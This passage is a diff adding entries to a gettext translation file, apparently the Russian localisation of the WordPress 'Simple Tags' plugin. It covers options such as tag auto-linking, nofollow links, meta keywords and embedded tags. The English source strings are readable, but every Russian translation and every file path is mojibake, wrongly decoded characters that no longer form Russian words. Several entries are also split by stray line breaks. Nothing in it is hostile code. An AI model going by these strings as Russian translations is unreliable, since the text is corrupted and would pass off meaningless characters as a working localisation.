+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð² Ð¿ÐŸÐžÑÐº Ð¿ÐŸ ÐŒÐµÑÐºÐ°ÐŒ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ ÑÑÐµÐ±ÑÐµÑ, ÑÑÐŸÐ±Ñ ÐŸÐ¿ÑÐžÑ  \"ÐÐºÐ»ÑÑÐžÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð² Ð¿ÐŸÐžÑÐº Ð¿ÐŸ ÐŒÐµÑÐºÐ°ÐŒ\" Ð±ÑÐ»Ð° Ð²ÐºÐ»ÑÑÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:289
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:319
+msgid "Allow tag cloud in post/page content:"
+msgstr "Ð Ð°Ð·ÑÐµÑÐžÑÑ ÐŸÐ±Ð»Ð°ÐºÐŸ ÐŒÐµÑÐŸÐº Ð² ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐŒ Ð·Ð°Ð¿ÐžÑÐž/ÑÑÑÐ°ÐœÐžÑÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:290
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:320
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "ÐÐºÐ»ÑÑÐµÐœÐžÐµ ÑÑÐŸÐ¹ ÑÑÐœÐºÑÐžÐž ÑÐ°Ð·ÑÐµÑÐžÑ Wordpress Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÑÑ ÐŒÐ°ÑÐºÐµÑ ÐŸÐ±Ð»Ð°ÐºÐ° ÐŒÐµÑÐŸÐº <strong>&lt;!--st_tag_cloud--&gt;</strong> Ð¿ÑÐž Ð¿ÐŸÐºÐ°Ð·Ðµ Ð·Ð°Ð¿ÐžÑÐµÐ¹. WP Ð·Ð°ÐŒÐµÐœÐžÑ ÑÑÐŸÑ ÐŒÐ°ÑÐºÐµÑ ÐŸÐ±Ð»Ð°ÐºÐŸÐŒ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:291
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:321
+msgid "Active auto link tags into post content:"
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°ÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÐµ ÑÑÑÐ»ÐºÐž ÐŒÐµÑÐŸÐº Ð² ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐŒ Ð·Ð°Ð¿ÐžÑÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:292
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:322
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "ÐÐ°Ð¿ÑÐžÐŒÐµÑ: ÐÑ ÐžÐŒÐµÐµÑÐµ ÐŒÐµÑÐºÑ Ñ ÐœÐ°Ð·Ð²Ð°ÐœÐžÐµÐŒ \"WordPress\" Ðž Ð²Ð°ÑÐ° ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐµ Ð²Ð°ÑÐµÐ¹ Ð·Ð°Ð¿ÐžÑÐž ÐžÐŒÐµÐµÑ ÑÐ»ÐŸÐ²ÐŸ \"wordpress\", ÑÑÐ° ÑÑÐœÐºÑÐžÑ Ð·Ð°ÐŒÐµÐœÐžÑ \"wordpress\" ÐœÐ° ÑÑÑÐ»ÐºÑ ÑÑÑÐ°ÐœÐžÑÑ ÐŒÐµÑÐºÐž \"wordpress\" . (http://myblog.net/tag/wordpress/)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:293
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:323
+msgid "Min usage for auto link tags:"
+msgstr "ÐÐžÐœÐžÐŒÐ°Ð»ÑÐœÐŸÐµ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÐµ ÐŽÐ»Ñ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÑÑÑÐ»ÐŸÐº Ñ ÐŒÐµÑÐºÐ°ÐŒÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:294
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:324
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "Ð­ÑÐŸÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑ ÑÐ°Ð·ÑÐµÑÐ°ÐµÑ ÑÐžÐºÑÐžÑÐŸÐ²Ð°ÑÑ ÐŒÐžÐœÐžÐŒÐ°Ð»ÑÐœÐŸÐµ Ð·ÐœÐ°ÑÐµÐœÐžÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÐœÐžÐµ ÐŒÐµÑÐŸÐº. ÐÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ: 1."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:295
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:325
+msgid "Ignore case for auto link feature ?"
+msgstr "ÐÐ³ÐœÐŸÑÐžÑÐŸÐ²Ð°ÑÑ ÑÐµÐ³ÐžÑÑÑ Ð² ÑÑÐœÐºÑÐžÐž Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÑÑÑÐ»ÐŸÐº?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:296
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:326
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "ÐÐ°Ð¿ÑÐžÐŒÐµÑ: ÐÑÐ»Ðž Ð²Ñ ÐžÐ³ÐœÐŸÑÐžÑÑÐµÑÐµ ÑÐµÐ³ÐžÑÑÑ, ÑÑÐœÐºÑÐžÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÑÑÑÐ»ÐŸÐº Ð·Ð°ÐŒÐµÐœÐžÑ ÑÐ»ÐŸÐ²ÐŸ \"wordpress\" ÑÑÑÐ»ÐºÐŸÐ¹ ÐœÐ° ÐŒÐµÑÐºÑ \"WordPress\"."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:297
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:327
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ rel=\"nofollow\" Ð² ÐºÐ°Ð¶ÐŽÑÑ ÑÑÑÐ»ÐºÑ ÐŒÐµÑÐºÐž ?"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:298
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:328
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow - ÑÑÐŸ ÐœÐµÑÑÐ°ÐœÐŽÐ°ÑÑÐœÐŸÐµ Ð·ÐœÐ°ÑÐµÐœÐžÐµ Ð°ÑÑÐžÐ±ÑÑÐ° HTML, ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÐŒÐŸÐµ ÐŽÐ»Ñ ÑÐºÐ°Ð·Ð°ÐœÐžÑ Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐŒ ÑÐžÑÑÐµÐŒÐ°ÐŒ, ÑÑÐŸ Ð³ÐžÐ¿ÐµÑÑÑÑÐ»ÐºÐž ÐœÐµ ÐŽÐŸÐ»Ð¶ÐœÑ Ð²Ð»ÐžÑÑÑ ÐœÐ° ÑÐµÐ¹ÑÐžÐœÐ³ ÑÐµÐ»ÐµÐ²ÐŸÐ¹ ÑÑÑÐ»ÐºÐž Ð² ÐžÐœÐŽÐµÐºÑÐµ Ð¿ÐŸÐžÑÐºÐŸÐ²ÐŸÐ¹ ÑÐžÑÑÐµÐŒÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ Ð²Ð²ÐŸÐŽ ÐŒÐµÑÐŸÐº Ð² ÑÑÑÐ°ÐœÐžÑÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ Ð²Ð²ÐŸÐŽ ÐŒÐµÑÐŸÐº (Ðž Ð²ÐŸÐ·ÐŒÐŸÐ¶ÐœÐŸÑÑÑ ÐŒÐµÑÐŸÐº Ð·Ð°Ð¿ÐžÑÐµÐ¹) Ð² ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ ÑÑÑÐ°ÐœÐžÑÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:303
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:331
+msgid "Activate click tags feature:"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐœÐºÑÐžÑ ÐºÐ»ÐžÐº-ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:304
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:332
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÑÑÑÐ»ÐºÑ, Ð¿ÐŸÐ·Ð²ÐŸÐ»ÑÑÑÑÑ Ð²Ð°ÐŒ Ð¿ÐŸÐºÐ°Ð·Ð°ÑÑ Ð²ÑÐµ ÐŒÐµÑÐºÐž ÐžÐ· Ð±Ð°Ð·Ñ ÐŽÐ°ÐœÐœÑÑ
+. ÐÐŸÑÐ»Ðµ ÑÐŸÐ³ÐŸ ÐºÐ°Ðº Ð¿Ð°ÐœÐµÐ»Ñ Ñ ÐŒÐµÑÐºÐ°ÐŒÐž Ð±ÑÐŽÐµÑ Ð¿ÐŸÐºÐ°Ð·Ð°, Ð²Ñ ÑÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐŸÐ±Ð°Ð²Ð»ÑÑÑ ÐžÑ
+ Ðº Ð·Ð°Ð¿ÐžÑÐž Ð¿ÑÐŸÑÑÐŸ ÐºÐ»ÐžÐºÐ°Ñ Ð¿ÐŸ ÐœÐ°Ð·Ð²Ð°ÐœÐžÑÐŒ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:305
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:333
+msgid "Activate autocompletion feature:"
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°ÑÑ ÑÑÐœÐºÑÐžÑ Ð°Ð²ÑÐŸÐ·Ð°Ð²ÐµÑÑÐµÐœÐžÑ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:306
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:334
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ Ð¿ÐŸÐºÐ°Ð¶ÐµÑ Ð²ÐžÐ·ÑÐ°Ð»ÑÐœÑÑ Ð¿ÐŸÐŒÐŸÑÑ, Ð¿ÐŸÐ·Ð²ÐŸÐ»ÑÑÑÑÑ Ð²Ð²ÐŸÐŽÐžÑÑ ÐŒÐµÑÐºÐž Ð±ÐŸÐ»ÐµÐµ Ð¿ÑÐŸÑÑÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:307
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:335
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "ÐÐºÐ»ÑÑÐžÑÑ ÑÑÐœÐºÑÐžÑ Ð¿ÐŸÐŽÑ
+ÐŸÐŽÑÑÐžÑ
+ ÐŒÐµÑÐŸÐº: (Yahoo! Term Extraction API, Tag The Net, ÐÐŸÐºÐ°Ð»ÑÐœÐ°Ñ ÐÐ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:308
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:336
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ ÐŽÐŸÐ±Ð°Ð²ÐžÑ Ð±Ð»ÐŸÐº, Ð¿ÐŸÐ·Ð²ÐŸÐ»ÑÑÑÐžÐ¹ Ð¿ÐŸÐ»ÑÑÐžÑÑ Ð¿ÐŸÐŽÑ
+ÐŸÐŽÑÑÐžÐµ ÐŒÐµÑÐºÐž, ÑÑÐ°Ð²ÐœÐžÐ²Ð°Ñ ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐµ Ð·Ð°Ð¿ÐžÑÐž Ðž ÐŸÐŽÐžÐœ ÐžÐ· ÐžÑÑÐŸÑÐœÐžÐºÐŸÐ² ÐŒÐµÑÐŸÐº. (Ð²ÐœÐµÑÐœÐžÐ¹ ÐžÐ»Ðž Ð²ÐœÑÑÑÐµÐœÐœÐžÐ¹)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:311
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:339
+msgid "Automatically include in header:"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð²ÐºÐ»ÑÑÐ°ÑÑ Ð² Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº (header):"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "ÐÐºÐ»ÑÑÐ°ÐµÑ ÐŒÐµÑÐºÐž Ð² meta keywords Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð² Ð²Ð°Ñ Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº (Ð±ÐŸÐ»ÑÑÐžÐœÑÑÐ²ÐŸ, ÐœÐŸ ÐœÐµ Ð²ÑÐµ ÑÐµÐŒÑ Ð¿ÐŸÐŽÐŽÐµÑÐ¶ÐžÐ²Ð°ÑÑ ÑÑÐŸ). Ð­ÑÐž ÐºÐ»ÑÑÐµÐ²ÑÐµ ÐžÐœÐŸÐ³ÐŽÐ° ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÑÑÑÑ Ð¿ÐŸÐžÑÐºÐŸÐ²ÑÐŒÐž ÐŒÐ°ÑÐžÐœÐ°ÐŒÐž. <br /><strong>ÐÐœÐžÐŒÐ°ÐœÐžÐµ:</strong> ÐÑÐ»Ðž Ð¿Ð»Ð°Ð³ÐžÐœ \"All in One SEO Pack\" ÑÑÑÐ°ÐœÐŸÐ²Ð»ÐµÐœ Ðž Ð²ÐºÐ»ÑÑÐµÐœ,ÑÑÐ° ÑÑÐœÐºÑÐžÑ Ð±ÑÐŽÐµÑ ÐŸÑÐºÐ»ÑÑÐµÐœÐ°."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:313
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:341
+msgid "Always add these keywords:"
+msgstr "ÐÑÐµÐ³ÐŽÐ° ÐŽÐŸÐ±Ð°Ð²Ð»ÑÑÑ ÑÑÐž ÐºÐ»ÑÑÐµÐ²ÑÐµ ÑÐ»ÐŸÐ²Ð°:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:314
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:342
+msgid "Max keywords display:"
+msgstr "ÐÐŸÐºÐ°Ð·ÑÐ²Ð°ÑÑ ÐŒÐ°ÐºÑÐžÐŒÑÐŒ ÐºÐ»ÑÑÐµÐ²ÑÑ
+ ÑÐ»ÐŸÐ²:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:315
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:343
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÑÑÑÐ°ÐœÐŸÐ²ÐžÑÑ Ð·ÐœÐ°ÑÐµÐœÐžÐµ Ð² ÐœÐŸÐ»Ñ (0) ÑÑÐŸÐ±Ñ Ð¿ÐŸÐºÐ°Ð·Ð°ÑÑ Ð²ÑÐµ ÐºÐ»ÑÑÐµÐ²ÑÐµ ÑÐ»ÐŸÐ²Ð° Ð² Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐºÐµ HTML."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:318
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:346
+msgid "Use embedded tags:"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÐµ ÐŒÐµÑÐºÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:319
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:347
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "ÐÐºÑÐžÐ²Ð°ÑÐžÑ ÑÑÐŸÐ¹ ÐŸÐ¿ÑÐžÐž ÐŽÐ°ÑÑ ÐºÐŸÐŒÐ°ÐœÐŽÑ Wordpress ÐžÑÐºÐ°ÑÑ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÐµ (embedded) ÐŒÐµÑÐºÐž Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž Ðž ÐŸÑÐŸÐ±ÑÐ°Ð¶ÐµÐœÐžÐž Ð·Ð°Ð¿ÐžÑÐµÐ¹. Ð¢Ð°Ðº, ÐœÐ°Ð±ÐŸÑ ÐŒÐµÑÐŸÐº, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÑ
+ <code>[tags]like this, and this[/tags]</code> ÐŽÐŸÐ±Ð°Ð²Ð»ÑÐµÑÑÑ Ð² Ð·Ð°Ð¿ÐžÑÑ Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž, ÐœÐŸ ÐœÐµ ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÐµÑÑÑ Ð² Ð·Ð°Ð¿ÐžÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:320
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:348
+msgid "Prefix for embedded tags:"
+msgstr "ÐÑÐµÑÐžÐºÑ ÐŽÐ»Ñ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:321
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:349
+msgid "Suffix for embedded tags:"
+msgstr "Ð¡ÑÑÑÐžÐºÑ ÐŽÐ»Ñ Ð²ÑÑÑÐ°ÐžÐ²Ð°ÐµÐŒÑÑ
+ ÐŒÐµÑÐŸÐº:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:324
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:352
+msgid "Automatically display tags list into feeds"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÑÑ ÑÐ¿ÐžÑÐŸÐº ÐŒÐµÑÐŸÐº Ð² ÑÐžÐŽÐ°Ñ
+"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:325
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:353
+msgid "Automatically display tags list into post content:"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž ÐŸÑÐŸÐ±ÑÐ°Ð¶Ð°ÑÑ ÑÐ¿ÐžÑÐŸÐº ÐŒÐµÑÐŸÐº Ð² ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐŒ Ð·Ð°Ð¿ÐžÑÐµÐ¹"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:327
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:351
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:355
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:379
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; ÐÐžÐ³ÐŽÐµ (Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:328
